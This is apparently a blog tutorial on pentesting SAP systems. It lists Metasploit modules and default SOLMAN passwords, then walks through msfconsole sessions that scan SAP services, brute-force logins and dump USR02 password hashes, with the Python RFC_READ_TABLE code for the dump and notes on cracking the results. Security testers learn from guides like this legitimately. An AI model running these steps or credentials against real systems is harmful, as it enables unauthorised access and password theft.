Basic guide for pentesting a SAP environment

Ismail R.
8 min readMay 28, 2021

--

What is SAP?

SAP Business Suite is a set of programs that allow companies to execute and optimize different aspects such as sales , finance , banking, purchasing , manufacturing , inventory and customer relations systems . Provides the ability to perform company-specific processes or create separate modules to work with other SAP or third-party software . SAP is based on an integrated technology platform called NetWeaver . 1 The suite can support operating systems , databases , applications and hardware components from almost any vendor.

This post is not a master class on how to perform an audit in SAP environments, since I lack the knowledge in SAP environments.

It is simply a basic help guide to be able to check the security of a SAP environment.

Necessary software

  • Nmap
  • Tools for Rservices (rsh, rlogin, rexec)
  • SQL client for multiple systems (Oracle, MSSQL)
  • Tools for NFS and SMB
  • Burp Suite
  • Nessus
  • Metasploit
  • SAP GUI
  • Some password cracking tool such as Hydra and Hashcat

Interesting modules in Metasploit

SAP routers:

  • auxiliary / scanner / sap / sap_router_info_request
  • auxiliary / scanner / sap / sap_router_portscanner

Gather information:

  • auxiliary / scanner / sap / sap_service_discovery
  • auxiliary / scanner / sap / sap_icm_urlscan
  • auxiliary / scanner / sap / sap_soap_rfc_ping
  • auxiliary / scanner / sap / sap_soap_rfc_system_info
  • auxiliary / scanner / sap / sap_icf_public_info
  • auxiliary / scanner / sap / sap_soap_th_saprel_disclosure
  • auxiliary / scanner / sap / sap_soap_rfc_read_table

Brute force attacks:

  • auxiliary / scanner / sap / sap_web_gui_brute_login
  • auxiliary / scanner / sap / sap_soap_rfc_brute_login

Attacks to execute commands in Windows or Linux

  • auxiliary / scanner / sap / sap_soap_rfc_sxpg_call_system_exec
  • auxiliary / scanner / sap / sap_soap_rfc_sxpg_command_exec
  • auxiliary / scanner / sap / sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
  • auxiliary / scanner / sap / sap_soap_rfc_dbmcli_sxpg_command_exec
  • exploit / multi / sap / sap_soap_rfc_sxpg_call_system_exec
  • exploit / multi / sap / sap_soap_rfc_sxpg_command_exec
  • exploit / multi / sap / sap_mgmt_con_osexec_payload

Remote attacks via SMB Relay.

  • auxiliary / scanner / sap / sap_soap_rfc_eps_get_directory_listing
  • auxiliary / dos / sap / sap_soap_rfc_eps_delete_file
  • auxiliary / scanner / sap / sap_soap_rfc_pfl_check_os_file_existence
  • auxiliary / scanner / sap / sap_soap_rfc_rzl_read_dir
  • auxiliary / scanner / sap / sap_smb_relay

Modules to create users in SAP

  • auxiliary / scanner / sap / sap_soap_bapi_user_create1
  • auxiliary / scanner / sap / sap_soap_rfc_susr_rfc_user_interface
  • auxiliary / scanner / sap / sap_ctc_verb_tampering_user_mgmt

Modules to interact with the administration console via SOAP

  • auxiliary / scanner / sap / sap_mgmt_con_abaplog
  • auxiliary / scanner / sap / sap_mgmt_con_brute_login
  • auxiliary / scanner / sap / sap_mgmt_con_extractusers
  • auxiliary / scanner / sap / sap_mgmt_con_getaccesspoints
  • auxiliary / scanner / sap / sap_mgmt_con_getenv
  • auxiliary / scanner / sap / sap_mgmt_con_getlogfiles
  • auxiliary / scanner / sap / sap_mgmt_con_getprocesslist
  • auxiliary / scanner / sap / sap_mgmt_con_getprocessparameter
  • auxiliary / scanner / sap / sap_mgmt_con_instanceproperties
  • auxiliary / scanner / sap / sap_mgmt_con_listlogfiles
  • auxiliary / scanner / sap / sap_mgmt_con_startprofile
  • auxiliary / scanner / sap / sap_mgmt_con_version

For SOLMAN systems

UserClientsPasswordPrivilegesSOLMAN_ADMINALLinit1234High privileges — Only on SOLMAN systemsSAPSUPPORTALLinit1234High privileges — Only on SOLMAN or satellite systemsSOLMANALLinit1234High privileges — Only on SOLMAN or satellite systems

List of main T-CODE

TCODEDescription:SU01To create and maintain the usersSU01DTo Display UsersSU10For mass maintenanceSU02For Manual creation of profilesSE84Information System for SAP R / 3 AuthorizationsSM19Security audit — configurationhttps://www.panaya.com/blog/sap/sap-transaction-codes-ultimate-testing-checklist/

For more information about what is a T-CODE: https://en.wikipedia.org/wiki/T-code

R OLLECTION information

For the collection of information we will use Nmap and we will try to obtain more information through a module of metasploit

nmap -v 192.168.1.100 -p 80,443,3200-3299,3300-3399,8000-8099,8100-8199,50000-59913

We get the details of the sap services using the metasploit module of sap_service_discovery

msf5 > use auxiliary/scanner/sap/sap_service_discovery 
msf5 auxiliary(scanner/sap/sap_service_discovery) > set INSTANCES 00-99
INSTANCES => 00-99
msf5 auxiliary(scanner/sap/sap_service_discovery) > set rhosts 182.168.1.69
rhosts => 182.168.1.69
msf5 auxiliary(scanner/sap/sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-99 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS 182.168.1.69 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf5 auxiliary(scanner/sap/sap_service_discovery) > run[*] 182.168.1.69: - [SAP] Beginning service Discovery '182.168.1.69'[+] 182.168.1.69: - 182.168.1.69:3200 - SAP Dispatcher sapdp00 OPEN
[+] 182.168.1.69: - 182.168.1.69:8000 - SAP ICM HTTP OPEN
[+] 182.168.1.69: - 182.168.1.69:3300 - SAP Gateway sapgw00 OPEN
[+] 182.168.1.69: - 182.168.1.69:50013 - SAP StartService [SOAP] sapctrl00 OPEN
[+] 182.168.1.69: - 182.168.1.69:50014 - SAP StartService [SOAP over SSL] sapctrl00 OPEN
[+] 182.168.1.69: - 182.168.1.69:40000 - IGS Multiplexer OPEN
[+] 182.168.1.69: - 182.168.1.69:3201 - SAP Dispatcher sapdp01 OPEN
[+] 182.168.1.69: - 182.168.1.69:3601 - SAP Message Server sapms<SID>01 OPEN
[+] 182.168.1.69: - 182.168.1.69:8101 - SAP Message Server [HTTP] OPEN
[+] 182.168.1.69: - 182.168.1.69:50113 - SAP StartService [SOAP] sapctrl01 OPEN
[+] 182.168.1.69: - 182.168.1.69:3901 - ITS AGate sapavw00_<INST> OPEN
[+] 182.168.1.69: - 182.168.1.69:3389 - SAP Gateway sapgw89 OPEN
[+] 182.168.1.69: - 182.168.1.69:7210 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:7200 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:7269 - LiveCache MaxDB (formerly SAP DB) OPEN
[+] 182.168.1.69: - 182.168.1.69:515 - SAPlpd OPEN
[+] 182.168.1.69: - 182.168.1.69:1090 - Content Server / Cache Server OPEN
[*] 182.168.1.69: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Brute force

In the next step in our evaluation it would be interesting to gain some control over the system.

Since we have found some interesting ports like SOAP on port 50013 . For this we will use the module: sap_mgmt_con_get processparameter, through this module we will obtain

msf5 auxiliary(scanner/sap/sap_service_discovery) > use auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > set rhosts 182.168.1.69
rhosts => 182.168.1.69
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > set MATCH login/fail
MATCH => login/fail
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter): Name Current Setting Required Description
---- --------------- -------- -----------
MATCH login/fail no Display matches e.g login/
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 182.168.1.69 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 50013 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / no Path to the SAP Management Console
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_mgmt_con_getprocessparameter) > run[*] [SAP] Connecting to SAP Management Console SOAP Interface on 182.168.1.69:50013
[-] 182.168.1.69:50013 [SAP] Error code: HTTP Error: 'Unauthorized'
[*] Scanned 1 of 1 hosts (100% complete)

As we can see, in our case it is not authorized, it returns an error: HTTP Error: ‘Unauthorized’ , therefore we have not been able to obtain the result to determine how many attempts the user is blocked.

Now using the module sap_web_gui_brute_login we will carry out a brute force attack to try to access the web GUI through the ICM connector

msf > use auxiliary/scanner/sap/sap_web_gui_brute_login 
msf auxiliary(sap_web_gui_brute_login) > set USER_AS_PASS false
msf auxiliary(sap_web_gui_brute_login) > set BLANK_PASSWORDS false
msf auxiliary(sap_web_gui_brute_login) > set VERBOSE false
msf auxiliary(sap_web_gui_brute_login) > set RPORT 8000
msf auxiliary(sap_web_gui_brute_login) > set RHOSTS 10.1.50.69
msf auxiliary(sap_web_gui_brute_login) > run
[*] Brute forcing clients 000,001,066
[-] [SAP] 10.1.50.69:8042 - SAP* locked in client 066
[SAP] Credentials
=================
host port client user pass
---- ---- ------ ---- ----
10.1.50.69 8042 001 DDIC 1992070
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We try to access through the web console

Unfortunately, this console has limited access and through this user it is not possible to access with the sap gui client, therefore we are going to try to get more information to carry out our attack correctly.

Next we use the sap_soap_rfc_brute_login ‘ module with which we carry out a brute force attack through / sap / bc / soap / rfc of the SOAP service using the RFC_PING function .

msf5 > use auxiliary/scanner/sap/sap_soap_rfc_brute_login
msf5 auxiliary(sap_soap_rfc_brute_login) > set USER_AS_PASS false
msf5 auxiliary(sap_soap_rfc_brute_login) > set BLANK_PASSWORDS false
msf5 auxiliary(sap_soap_rfc_brute_login) > set VERBOSE false
msf5 auxiliary(sap_soap_rfc_brute_login) > set RHOSTS 192.168.1.69
msf5 auxiliary(sap_soap_rfc_brute_login) > set RPORT 8042
msf5 auxiliary(sap_soap_rfc_brute_login) > run
[SAP] 192.168.1.69:8000 Credentials
=======================================
host port client user pass
---- ---- ------ ---- ----
192.168.1.69 8000 000 SAP* PASS
192.168.1.69 8000 000 SAPCPIC ADMIN
192.168.1.69 8000 001 SAPCPIC ADMIN
192.168.1.69 8000 066 EARLYWATCH SUPPORT
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

After obtaining all these user accounts, we can use the sap_mgmt_con_extractusers module, with which we will try to extract SAP users from the ABAP Syslog through the SOAP interface of the SAP Management Console.

msf > use auxiliary/scanner/sap/sap_mgmt_con_extractusers
msf auxiliary(sap_mgmt_con_extractusers) > show options
Module options (auxiliary/scanner/sap/sap_mgmt_con_extractusers): Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 50013 yes The target port
THREADS 1 yes The number of concurrent threads
URI / no Path to the SAP Management Console
VHOST no HTTP server virtual host
msf auxiliary(sap_mgmt_con_extractusers) > set RHOSTS 192.168.1.69
msf auxiliary(sap_mgmt_con_extractusers) > set RPORT 50013
msf auxiliary(sap_mgmt_con_extractusers) > run
[*] 192.168.1.69:50013 [SAP] Connecting to SAP Management Console SOAP Interface
[-] 192.168.1.6950013 [SAP] failed to access ABAPSyslog on 192.168.1.69:50013
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

In the case of getting a user … you can try by brute force to obtain access, in my case I have not obtained any user.

To carry out this brute force it would be done in the following way, I have used the passwords that come in the metasploit wordlist in sap_default.txt

msf5 > use auxiliary/scanner/sap/sap_mgmt_con_brute_login
msf5 auxiliary(sap_mgmt_con_brute_login) > set BLANK_PASSWORDS false
msf5 auxiliary(sap_mgmt_con_brute_login) > set USER_AS_PASS false
msf5 auxiliary(sap_mgmt_con_brute_login) > set VERBOSE false
msf5 auxiliary(sap_mgmt_con_brute_login) > set RHOSTS 192.168.1.69
msf5 auxiliary(sap_mgmt_con_brute_login) > set RPORT 50013
msf5 auxiliary(sap_mgmt_con_brute_login) > set SAP_SID <USER>
msf5 auxiliary(sap_mgmt_con_brute_login) > set PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/sap_password.txt
msf5 auxiliary(sap_mgmt_con_brute_login) > run

We can also try to obtain the hashes of the usr02 table, using the RFC_READ_TABLE module, for this it can be done in multiple ways

Using python

We will need pyRFC and NWRFCSDK

from pyrfc import Connection    rfc_args = {'DELIMITER': '|',
'FIELDS': [{'FIELDNAME': 'MANDT'},
{'FIELDNAME': 'BNAME'},
{'FIELDNAME': 'UFLAG'},
{'FIELDNAME': 'BCODE'},
{'FIELDNAME': 'PASSCODE'},
{'FIELDNAME': 'PWDSALTEDHASH'}],
'QUERY_TABLE': 'USR02'}
conn = Connection (ashost = host, sysnr = instance, client = client, user = user, passwd = password)
result = conn.call ("RFC_READ_TABLE", ** rfc_args)
print result ['DATA']

This will go through the Gateway service listening on port tcp / 33NN and will be sent for execution to one of the ABAP worker processes.

For more information: http://md5solutions.com/adapting-hashcat-for-sap-half-hashes/

We can also get the hashes using the metasploit module sap_soap_rfc_read_table

msf5 > use auxiliary/scanner/sap/sap_soap_rfc_read_tableModule options (auxiliary/scanner/sap/sap_soap_rfc_read_table):   Name          Current Setting  Required  Description
---- --------------- -------- -----------
CLIENT 001 yes SAP client
FIELDS BNAME,BCODE yes Fields to read
HttpPassword 06071992 yes Password
HttpUsername SAP* yes Username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TABLE USR02 yes Table to read
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set HttpPassword PASS
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set HttpUsername SAP*
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set CLIENT 000
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set FIELDS MANDT, BNAME, UFLAG, BCODE, PASSCODE, PWDSALTEDHASH
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > set rhosts 192.168.1.69
msf5 auxiliary(scanner/sap/sap_soap_rfc_read_table) > run
[*] [SAP] 192.168.1.69:8000 - sending SOAP RFC_READ_TABLE request
[*] [SAP] 192.168.1.69:8000 - got response
[SAP] RFC_READ_TABLE
====================
Returned Data
-------------
000|user1 | 0 |CD******|00000000000000000000|
000|DDIC |128|00000000|00000000000000000000|{x-issha, 1024}h**********************xhnRUSzg=
000|user2 | 0 |79******|00000000000000000000|
000|SAPCPIC | 0 |7D******|00000000000000000000|
000|user3 | 0 |00000000|00000000000000000000|{x-issha, 1024}SO8i**********************TS2CKCCk=
000|user4 |128|00000000|00000000000000000000|{x-issha, 1024}tfH**********************9nujq6rjqYU=
000|user5 | 0 |13******|4E***************921|{x-issha, 1024}O1**********************wzwCDdag=

As we can see, we have found some users whose BCODE is not clean and another user who has the PASSCODE, first of all we are going to try to get the BCODE, with which we can find out how the passwords start and then try to obtain the PASSCODE more easily .

--

--

Ismail R.
Ismail R.

Written by Ismail R.

Early passion for computers led to a professional focus on aligning business with IT. Balancing academic and practical experience, especially in cybersecurity.

No responses yet